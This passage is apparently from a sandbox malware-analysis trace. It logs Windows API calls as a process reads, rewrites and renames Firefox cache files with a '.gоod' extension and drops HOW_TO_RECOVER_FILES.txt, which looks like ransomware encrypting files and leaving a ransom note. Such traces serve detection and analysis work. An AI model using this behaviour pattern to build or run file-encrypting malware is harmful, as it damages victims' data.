(hObject=0x478) returned 1 [0210.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", lpFilePart=0x0) returned 0x54 [0210.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0210.622] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.622] GetFileType (hFile=0x478) returned 0x1 [0210.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0210.622] GetFileType (hFile=0x478) returned 0x1 [0210.622] ReadFile (in: hFile=0x478, lpBuffer=0x35e09c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35e09c8*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0210.649] CloseHandle (hObject=0x478) returned 1 [0210.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", lpFilePart=0x0) returned 0x54 [0210.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0210.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.649] GetFileType (hFile=0x478) returned 0x1 [0210.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0210.649] GetFileType (hFile=0x478) returned 0x1 [0210.649] WriteFile (in: hFile=0x478, lpBuffer=0x35df710*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x35df710*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0210.649] CloseHandle (hObject=0x478) returned 1 [0210.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", lpFilePart=0x0) returned 0x54 [0210.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.gоod", lpFilePart=0x0) returned 0x59 [0210.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0210.649] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34629a8b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x34629a8b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x79c576de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3594)) returned 1 [0210.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0210.650] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.gоod")) returned 1 [0210.651] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", lpFilePart=0x0) returned 0x58 [0210.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0210.651] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.log"), fInfoLevelId=0x0, lpFileInformation=0x365f0a8 | out: lpFileInformation=0x365f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb817acca, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb817acca, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17bc)) returned 1 [0211.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0211.332] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", lpFilePart=0x0) returned 0x58 [0211.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0211.332] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.332] GetFileType (hFile=0x858) returned 0x1 [0211.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0211.332] GetFileType (hFile=0x858) returned 0x1 [0211.332] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0211.332] ReadFile (in: hFile=0x858, lpBuffer=0x3755bd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3755bd8*, lpNumberOfBytesRead=0x1fbebaf8*=0x7bc, lpOverlapped=0x0) returned 1 [0211.334] CloseHandle (hObject=0x858) returned 1 [0211.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", lpFilePart=0x0) returned 0x58 [0211.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0211.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.334] GetFileType (hFile=0x858) returned 0x1 [0211.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0211.335] GetFileType (hFile=0x858) returned 0x1 [0211.335] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x17bc [0211.335] WriteFile (in: hFile=0x858, lpBuffer=0x3756fc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3756fc0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0211.335] CloseHandle (hObject=0x858) returned 1 [0211.335] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", lpFilePart=0x0) returned 0x58 [0211.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0211.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.335] GetFileType (hFile=0x858) returned 0x1 [0211.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0211.335] GetFileType (hFile=0x858) returned 0x1 [0211.335] ReadFile (in: hFile=0x858, lpBuffer=0x37592a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x37592a0*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0211.363] CloseHandle (hObject=0x858) returned 1 [0211.363] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", lpFilePart=0x0) returned 0x58 [0211.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0211.363] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0211.363] GetFileType (hFile=0x858) returned 0x1 [0211.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0211.364] GetFileType (hFile=0x858) returned 0x1 [0211.364] WriteFile (in: hFile=0x858, lpBuffer=0x3757fd8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3757fd8*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0211.364] CloseHandle (hObject=0x858) returned 1 [0211.364] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", lpFilePart=0x0) returned 0x58 [0211.364] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log.gоod", lpFilePart=0x0) returned 0x5d [0211.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0211.364] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.log"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb817acca, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb817acca, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7a33275a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17cc)) returned 1 [0211.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0211.364] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.log.gоod")) returned 1 [0211.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb2f0) returned 1 [0211.365] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\doomed", nBufferLength=0x105, lpBuffer=0x1fbead90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\doomed", lpFilePart=0x0) returned 0x55 [0211.365] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\doomed\\*", lpFindFileData=0x1fbeb010 | out: lpFindFileData=0x1fbeb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3db5cbc4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40a99643, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0211.366] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3db5cbc4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40a99643, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.366] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3db5cbc4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40a99643, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.366] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0211.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb230) returned 1 [0211.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb1f0) returned 1 [0211.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb2f0) returned 1 [0211.366] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\doomed", nBufferLength=0x105, lpBuffer=0x1fbead90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\doomed", lpFilePart=0x0) returned 0x55 [0211.366] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\doomed\\*", lpFindFileData=0x1fbeb010 | out: lpFindFileData=0x1fbeb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3db5cbc4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40a99643, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0211.367] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3db5cbc4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40a99643, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.367] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3db5cbc4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40a99643, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.367] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0211.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb230) returned 1 [0211.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb1f0) returned 1 [0211.367] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\doomed\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbead40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\doomed\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0211.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb260) returned 1 [0211.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\doomed\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\doomed\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0211.769] GetFileType (hFile=0x824) returned 0x1 [0211.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb1d0) returned 1 [0211.769] GetFileType (hFile=0x824) returned 0x1 [0211.770] WriteFile (in: hFile=0x824, lpBuffer=0x35e1dd0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbeb328, lpOverlapped=0x0 | out: lpBuffer=0x35e1dd0*, lpNumberOfBytesWritten=0x1fbeb328*=0x5d0, lpOverlapped=0x0) returned 1 [0211.771] CloseHandle (hObject=0x824) returned 1 [0211.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb2f0) returned 1 [0211.771] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries", nBufferLength=0x105, lpBuffer=0x1fbead90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries", lpFilePart=0x0) returned 0x56 [0211.771] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\*", lpFindFileData=0x1fbeb010 | out: lpFindFileData=0x1fbeb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d6e450e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa90c92ac, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0211.773] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d6e450e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa90c92ac, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.775] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a491c9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4a491c9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcafbc1b0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="013C507F8C6DC51CF18CC10ABECAC5868407766A", cAlternateFileName="013C50~1")) returned 1 [0211.775] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="017020BFB3471E12709C39371D58E8123BCF28FB", cAlternateFileName="017020~1")) returned 1 [0211.775] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6966619, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6966619, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6982762, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", cAlternateFileName="019B3F~1")) returned 1 [0211.775] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xea3, dwReserved0=0x0, dwReserved1=0x0, cFileName="020A4F3A0F6F161908D148AEB21A124C4BADFD41", cAlternateFileName="020A4F~1")) returned 1 [0211.775] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e6aa7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc47e6aa7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc480cd0c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x11f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", cAlternateFileName="055BC3~1")) returned 1 [0211.776] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b38178, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="05C341B704CB1060501AA0B43D83F975ECBB85F2", cAlternateFileName="05C341~1")) returned 1 [0211.776] FindNextFileW (in: 